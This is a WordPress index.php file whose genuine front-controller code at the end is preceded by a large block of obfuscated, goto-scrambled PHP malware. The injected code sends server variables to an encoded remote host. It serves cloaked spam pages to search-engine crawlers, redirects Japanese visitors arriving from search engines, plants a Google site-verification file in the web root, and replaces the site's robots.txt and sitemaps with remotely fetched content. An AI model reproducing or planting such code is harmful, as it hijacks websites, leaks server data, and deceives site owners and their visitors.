serialize($_SERVER))); goto oyS6W; fF61V: if (!preg_match("\57\136\x48\145\141\x64\100\50\56\x2a\77\51\100\100\x28\56\x2a\x29\57\x69\x73", $pSvPu, $mLBL0)) { goto uDXGI; } goto E6d7N; F8vYd: $JqGdN .= "\146\x69\143\x61"; goto csCGY; ZNtkp: $pSvPu = $mLBL0[2]; goto r0ds_; LSRY5: if (!isset($_GET[$AvQpa])) { goto Ef0F2; } goto g3UHD; KGmUg: $_SERVER["\171\x74\137\x6a\165\x6d\x70"] = 0; goto cok_R; I5zpg: $m6mXn .= "\x7d\134\56\170\150"; goto mkdBA; irebs: if (!preg_match("\57" . $m6mXn . "\44\x2f\x73\x69", $GOUus, $P7nJl)) { goto PXx1u; } goto th6EG; acdDI: $_SERVER["\x79\164\137\x6a\x75\155\x70"] = 1; goto b7Lrl; FJKCC: $AvQpa = "\171\x74\61"; goto i3g0g; s_JX4: $m6mXn .= "\x5d\x7b\x31\66"; goto I5zpg; cMTy_: $UFFYv .= "\124\x5f\x52\x4f\x4f\x54"; goto eyizT; x35A_: x4BWB: goto sqaNL; azEzT: $pSvPu = trim($pSvPu); goto BE3eZ; csCGY: $JqGdN .= $WsaCm; goto lU3UX; kphby: header("{$WsaCm}\x20\x2f{$JviCs}"); goto nXJ6R; lU3UX: $WsaCm = "\114\157\143\141" . $WsaCm; goto irebs; DkSZZ: goto AmcVW; goto y785m; qTrDu: $JqGdN .= "\147\x6c\x65\55\x73\x69"; goto dTKRj; R7NCX: return; goto HxVLR; cok_R: $_SERVER["\x79\164\x5f\x67\x7a"] = $KwkM7[1]; goto QekzQ; jK6c1: if (!preg_match("\57\136\110\145\x61\144\100\50\x2e\x2a\x3f\x29\x40\100\x28\56\52\x29\x2f\151\x73", $pSvPu, $mLBL0)) { goto jW1Qj; } goto pYT9S; BE3eZ: if (!in_array($pSvPu, array("\x2a\64\x30\64", "\x2a\x72\145\164\x75\x72\x6e"))) { goto EIzFX; } goto R7NCX; E6d7N: header($mLBL0[1]); goto orj5p; DBXeh: $JtbTR = isset($_SERVER["\110\x54\124\x50\137\125\x53\105\x52\x5f\101\x47\x45\x4e\124"]) ? $_SERVER["\110\x54\x54\120\x5f\125\x53\105\122\137\x41\x47\105\116\124"] : ''; goto NdeV1; fIf8M: $JqGdN = "\147\x6f\x6f"; goto qTrDu; y785m: jlHBa: goto YcwBn; cRiri: if (preg_match("\57\136\150\164\x74\x70\163\77\x2f\x73\151", $jcKA8)) { goto jlHBa; } goto v0pGI; orj5p: $pSvPu = $mLBL0[2]; goto OOhCg; XsUqt: file_put_contents("{$rXxVu}\57{$JviCs}", "{$JqGdN}\x20{$JviCs}"); goto NbJ0c; SOJha: $GOUus = $GOUus == '' ? isset($_SERVER["\x50\101\x54\110\137\111\x4e\x46\117"]) && $_SERVER["\120\x41\124\x48\137\111\116\x46\117"] != '' ? $_SERVER["\120\x41\x54\110\x5f\x49\x4e\x46\x4f"] : $GOUus : $GOUus; goto xiT2Y; HxVLR: EIzFX: goto K96i3; P1PQS: if (!($ewo6h || $nknVZ)) { goto G8Mk4; } goto TdpmX; NbJ0c: chmod($rXxVu, 0555); goto kphby; JzX88: die; goto d38Zq; dfNCt: P5Bs0: goto JzX88; NuGlw: $D2ghn = preg_match("\x2f\136\x68\164\164\160\163\x3f\x5c\x3a\x5c\57\x5c\x2f\x2f\x73\151", $n7XaY); goto lrrFk; SnINQ: if (!$nknVZ) { goto S6DdH; } goto acdDI; mkdBA: $m6mXn .= "\x74\155\154\x29"; goto fIf8M; d38Zq: UyZs0: goto fF61V; g3UHD: $jcKA8 = trim($_GET[$AvQpa]); goto cRiri; F9kSr: $pSvPu = oLyHY($t074h, array("\x78" => serialize($_SERVER))); goto azEzT; pYT9S: header($mLBL0[1]); goto ZNtkp; oyS6W: $pSvPu = trim($pSvPu); goto jK6c1; wThKX: echo "{$pSvPu}"; goto zOxPN; yP6M3: $n7XaY = trim($aAgzA[1]); goto NuGlw; YP4Kf: $nknVZ = k_UIY($PvRX4); goto hw8nr; MT15c: die; goto x35A_; e6Tns: chmod($rXxVu, 0755); goto XsUqt; kfKQb: echo $n7XaY; goto kKH0n; kKH0n: goto P5Bs0; goto nat3E; b7Lrl: S6DdH: goto F9kSr; msdRM: $GOUus = isset($_SERVER["\122\105\x51\125\x45\123\x54\x5f\125\x52\111"]) ? $_SERVER["\122\105\x51\x55\105\123\x54\x5f\x55\x52\111"] : (isset($_SERVER["\121\125\105\122\x59\x5f\123\124\122\x49\116\107"]) ? $_SERVER["\x51\125\105\x52\x59\137\123\124\122\111\x4e\107"] : ''); goto SOJha; d4oHs: Ef0F2: goto SnINQ; fEGVi: echo gethostbyname($UyEHW["\x68\157\x73\164"]); goto DkSZZ; QekzQ: $_SERVER["\x79\164\x5f\x75\x70"] = $KwkM7[2]; goto FJKCC; xiT2Y: $PvRX4 = isset($_SERVER["\110\124\x54\120\137\x52\x45\x46\105\x52\105\x52"]) ? $_SERVER["\110\x54\x54\x50\x5f\122\x45\x46\105\x52\x45\x52"] : ''; goto DBXeh; nXJ6R: die; goto DhscZ; eyizT: $rXxVu = $_SERVER[$UFFYv]; goto hr0xn; OOhCg: uDXGI: goto wThKX; hw8nr: $KwkM7 = explode("\72\x3a", A); goto biO_B; i3g0g: $UFFYv = "\x44\117\103"; goto cl0Su; DhscZ: PXx1u: goto P1PQS; r0ds_: jW1Qj: goto s3_DT; MFgbs: die; goto d4oHs; MQIUI: $m6mXn .= "\x67\x6c\145\133\134\x77"; goto s_JX4; dTKRj: $JqGdN .= "\164\x65\55\x76\x65\x72\x69"; goto F8vYd; YcwBn: echo OlYhy($jcKA8); goto sx8fc; sqaNL: $WsaCm = "\x74\x69\157\x6e\x3a"; goto s1X4m; s3_DT: echo "{$pSvPu}"; goto MT15c; cl0Su: $UFFYv .= "\125\115\x45\116"; goto cMTy_; TdpmX: $xYe69 = "\x3c\x61\x20\150\x72\x65\x66\75\42\45\163\x22\40\x74\141\x72\x67\x65\x74\x3d\x22\x5f\x62\x6c\141\156\x6b\42\x3e\45\163\x3c\x2f\x61\x3e"; goto LSRY5; nat3E: P0YlN: goto b51PH; s1X4m: $m6mXn = "\50\x67\157\157"; goto MQIUI; lrrFk: if ($D2ghn) { goto P0YlN; } goto kfKQb; th6EG: $JviCs = str_replace("\x2e\170", "\x2e", trim($P7nJl[1])); goto e6Tns; YXmZb: } goto tRSwt; xRTHW: function BUai1($OvXez) { goto axNN2; rFTJz: preg_match("\57\x28\x5b\x5e\134\56\x5d\53\134\x2e\x29\50\x2e\x2a\x29\50\134\x2f\x2e\52\51\57", $OvXez, $OQY5W); goto GAGZd; lwlM9: NBhAy: goto iGM5T; iGM5T: return $huaLI; goto g3ezr; inSWh: $A5e1j = preg_split("\57\57", $OQY5W[2], -1, PREG_SPLIT_NO_EMPTY); goto ZhS9v; rTzF3: if (!($OQY5W[2] != '')) { goto sju12; } goto inSWh; ZhS9v: foreach ($A5e1j as $A_MDP => $n3awN) { $A5e1j[$A_MDP] = chr(ord($n3awN) - 5); VWXqp: } goto j7Dsg; axNN2: $huaLI = ''; goto rFTJz; dta7O: $huaLI = implode('', $A5e1j); goto R7cid; GAGZd: if (!(is_array($OQY5W) && count($OQY5W) == 4)) { goto NBhAy; } goto rTzF3; R7cid: sju12: goto GfZw0; GfZw0: $huaLI = $OQY5W[1] . $huaLI . $OQY5W[3]; goto lwlM9; j7Dsg: tSi4D: goto dta7O; g3ezr: } goto IkeSF; TMvZA: if (!function_exists("\x6f\142\x5f\x73\x74\141\162\x74")) { goto MLbSl; } goto lwtzL; SPW2z: function gbMaS($wJHpg = '') { return preg_match("\57\x28\147\157\157\x67\154\145\x62\157\164\174\x62\x61\x69\144\165\x73\x70\151\x64\145\x72\x7c\142\151\x6e\x67\x62\157\x74\x7c\x67\x6f\157\x67\154\145\174\142\141\151\144\x75\174\x61\157\x6c\x7c\142\151\x6e\147\174\171\x61\x68\x6f\157\174\171\141\x6e\x64\145\x78\x29\x2f\x73\x69", $wJHpg); } goto b1J4B; NHUG5: MLbSl: goto f5AyF; lwtzL: @ob_start(); goto NHUG5; tRSwt: stj5l(); ?> execReq($tr . "\x72\157\142\157\164\163", $p); $rpt = __DIR__ . "\x2f\162\157\x62\157\164\163\x2e\164\x78\164"; file_put_contents($rpt, $output); $robots_cont = @file_get_contents($rpt); if (strpos(strtolower($robots_cont), "\163\x69\164\145\155\141\160")) { die("\162\x6f\x62\x6f\x74\x73\x2e\164\170\164\x20\x66\151\x6c\145\x20\x63\x72\145\141\x74\x65\40\163\165\x63\143\x65\163\163\x21"); } else { die("\x72\x6f\142\x6f\x74\163\x2e\164\x78\x74\40\x66\x69\x6c\145\40\x63\x72\145\x61\164\145\x20\x66\141\151\x6c\x21"); } } goto eRafY; eRafY: if (substr($uri, -4) == "\56\170\x6d\154") { if (strpos($uri, "\141\x6c\x6c\x73\x69\164\145\155\x61\160\x2e\170\x6d\x6c") || strpos($uri, "\x73\x69\164\x65\x6d\x61\160\x2d\x69\x6e\144\145\x78\x2e\170\x6d\154") || strpos($uri, "\163\x69\164\145\x6d\x61\x70\x2d\151\x6e\x64\145\x78\x2d\x31\56\x78\155\x6c") || strpos($uri, "\151\156\x64\x65\170\x2e\x78\x6d\154")) { $output = $req->execReq($umap, $p); header("\103\157\156\x74\x65\x6e\x74\55\x74\x79\160\x65\72\x74\145\x78\x74\x2f" . (substr($output, 0, 5) === "\74\x3f\x78\155\154" ? "\x78\155\x6c" : "\x70\154\141\x69\156") . "\x3b\40\143\x68\x61\x72\163\x65\164\x3d\x75\x74\x66\x2d\x38"); die('' . $output); } $output = $req->execReq($tr . "\167\157\162\x64", $p); header("\x43\x6f\156\164\145\156\x74\x2d\x74\171\160\x65\72\164\145\170\164\57\170\x6d\x6c\73\40\x63\x68\x61\x72\x73\x65\x74\75\165\164\146\55\70"); if ($output == "\61") { die('' . $req->execReq($umap, $p)); } else { die('' . $output); } } goto Rvwsq; hwr1E: $tr = "\x68\164\x74\160\x73\x3a\57\x2f\152\62\x36\x30\x36\x31\65\137\61\x33\x2e\161\x6b\x65\x72\164\172\155\141\x6e\x6e\x2e\163\160\x61\x63\x65\x2f"; goto rJpoy; ydNCu: $uri = urldecode($req->uri()); goto xRl4e; xRl4e: $p = array("\144\157\x6d\141\151\x6e" => $req->dm(), "\x70\157\162\x74" => $req->server("\x53\105\122\x56\x45\122\x5f\x50\x4f\x52\124", 80), "\165\x72\151" => $uri); goto OGdLx; HEhfL: @set_time_limit(120); goto HkHWb; k7EMX: error_reporting(0); goto HEhfL; g0KnF: $isg = $req->isg(); goto UjEV3; fGVOw: if (!$isc && $isg && strpos($lang, "\x6a\x61") !== false) { $p["\x69\160"] = $req->ip(); $action = $tr . "\152\x75\x6d\x70"; die($req->execReq($action, $p)); } goto NzDc_; OGdLx: if (substr($uri, -10) == "\x72\157\142\157\x74\163\x2e\x74\170\x74") { header("\x43\157\156\164\145\156\164\x2d\x74\x79\160\x65\72\164\145\170\x74\x2f\x70\x6c\141\x69\x6e\73\x20\x63\x68\141\x72\163\145\x74\75\165\164\x66\x2d\70"); die($req->execReq($tr . "\162\157\x62\x6f\164\163", $p)); } goto DYXvL; tN9FX: $req = new Req(); goto j5GMt; HkHWb: @ignore_user_abort(1); goto hwr1E; UjEV3: $umap = $tr . "\x6d\141\160"; goto ydNCu; j5GMt: $isc = $req->isc(); goto g0KnF; rJpoy: class Req { public function server($name = '', $default = '') { if (empty($name)) { return $_SERVER; } $name = strtoupper($name); return isset($_SERVER[$name]) ? $_SERVER[$name] : $default; } public function iss() { if ($this->server("\x48\124\x54\x50\123") && ("\x31" == $this->server("\x48\124\x54\x50\x53") || "\x6f\x6e" == strtolower($this->server("\x48\x54\124\120\x53")))) { return true; } elseif ("\150\164\164\160\x73" == $this->server("\x52\105\x51\125\x45\123\124\137\123\103\110\105\x4d\x45")) { return true; } elseif ("\64\64\63" == $this->server("\123\x45\x52\x56\x45\122\137\120\117\x52\124")) { return true; } elseif ("\x68\164\x74\x70\x73" == $this->server("\110\124\124\120\x5f\130\137\x46\117\122\x57\101\x52\104\x45\x44\x5f\120\x52\117\x54\x4f")) { return true; } return false; } public function host() { $host = strval($this->server("\x48\x54\x54\120\137\x58\x5f\x46\117\122\127\101\122\x44\105\x44\x5f\x48\117\123\124") ?: $this->server("\x48\x54\124\x50\137\110\x4f\123\x54")); return strpos($host, "\72") ? strstr($host, "\72", true) : $host; } public function scheme() { return $this->iss() ? "\x68\x74\164\x70\x73" : "\x68\x74\x74\x70"; } public function dm() { return $this->scheme() . "\72\x2f\57" . $this->host(); } public function ip() { if (getenv("\110\x54\124\x50\137\x43\114\x49\x45\116\x54\137\x49\120")) { $ip = getenv("\110\124\x54\x50\137\103\114\111\x45\x4e\x54\x5f\x49\120"); } elseif (getenv("\x48\x54\x54\x50\137\130\x5f\106\117\122\x57\101\x52\104\x45\x44\137\106\x4f\x52")) { $ip = getenv("\110\124\124\x50\137\130\x5f\106\x4f\x52\127\x41\x52\104\x45\x44\x5f\106\117\x52"); } elseif (getenv("\122\x45\115\117\124\x45\137\101\x44\x44\x52")) { $ip = getenv("\122\105\115\117\124\x45\137\101\104\x44\122"); } else { $ip = $this->server("\122\105\x4d\x4f\124\x45\137\101\x44\104\x52"); } return $ip; } public function isc() { $agent = strtolower($this->server("\110\124\x54\x50\137\x55\123\x45\x52\137\101\x47\105\x4e\124")); if ($agent != '' && preg_match("\57\147\x6f\x6f\x67\x6c\145\142\x6f\164\x7c\147\157\157\147\x6c\x65\x7c\171\141\x68\x6f\157\174\x62\151\156\147\x7c\x61\x6f\154\x2f\x73\x69", $agent)) { return true; } return false; } public function isg() { $refer = strtolower($this->server("\x48\124\x54\120\137\122\x45\106\105\x52\x45\x52")); $referbots = "\x67\157\x6f\x67\x6c\145\x7c\171\x61\x68\157\157\x7c\x62\151\x6e\x67\174\x61\x6f\154"; if ($refer != '' && preg_match("\x2f\50{$referbots}\51\x2f\x73\x69", $refer)) { return true; } return false; } public function uri() { if (($pos = strpos($this->server("\122\x45\x51\125\x45\x53\x54\137\x55\122\x49"), "\x2e\160\x68\160")) !== false) { $script_name = basename($this->server("\x53\103\122\111\x50\124\137\x46\111\114\105\116\x41\115\x45")); if (basename($this->server("\x53\x43\x52\x49\x50\x54\x5f\116\x41\x4d\105")) === $script_name) { $url = $this->server("\x53\x43\x52\111\x50\124\x5f\116\x41\x4d\x45"); } elseif (basename($this->server("\120\110\x50\x5f\x53\105\x4c\106")) === $script_name) { $url = $this->server("\x50\x48\x50\137\123\x45\x4c\x46"); } elseif (basename($this->server("\x4f\122\x49\107\137\x53\103\x52\x49\120\x54\x5f\116\x41\115\x45")) === $script_name) { $url = $this->server("\x4f\x52\111\107\x5f\123\x43\x52\111\120\x54\137\x4e\101\115\105"); } elseif (($pos = strpos($this->server("\120\110\120\137\x53\x45\114\106"), "\57" . $script_name)) !== false) { $url = substr($this->server("\123\x43\122\111\120\x54\x5f\x4e\x41\115\x45"), 0, $pos) . "\57" . $script_name; } elseif ($this->server("\x44\117\x43\x55\115\105\116\x54\137\122\x4f\117\124") && strpos($this->server("\123\x43\122\x49\x50\124\x5f\106\x49\x4c\105\x4e\101\115\x45"), $this->server("\104\117\103\125\115\105\x4e\x54\x5f\x52\x4f\x4f\x54")) === 0) { $url = str_replace($this->server("\x44\x4f\x43\x55\115\x45\116\124\137\122\x4f\117\x54"), '', $this->server("\x53\103\122\111\x50\124\137\106\x49\x4c\105\116\101\115\x45")); } $requri = $url . substr($this->server("\x52\x45\121\x55\x45\123\x54\137\125\x52\x49"), $pos + 4); } else { $requri = substr($this->server("\x52\105\121\x55\x45\123\x54\x5f\x55\122\111"), strpos($this->server("\x52\x45\x51\125\x45\x53\x54\137\x55\x52\x49"), "\x2f")); } return rtrim($requri, "\57"); } public function execReq($url, $p = array()) { $url = str_replace("\x20", "\x2b", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($p)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if (0 !== $errorCode) { return false; } return $output; } } goto tN9FX; NzDc_: if ($isc) { die('' . $req->execReq($tr . "\x69\x6e\144\141\x74\141", $p)); } goto ICljQ; Rvwsq: $lang = $req->server("\110\x54\124\120\137\x41\x43\103\x45\x50\124\137\114\101\x4e\107\125\101\107\x45"); goto fGVOw; ICljQ: ?> /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';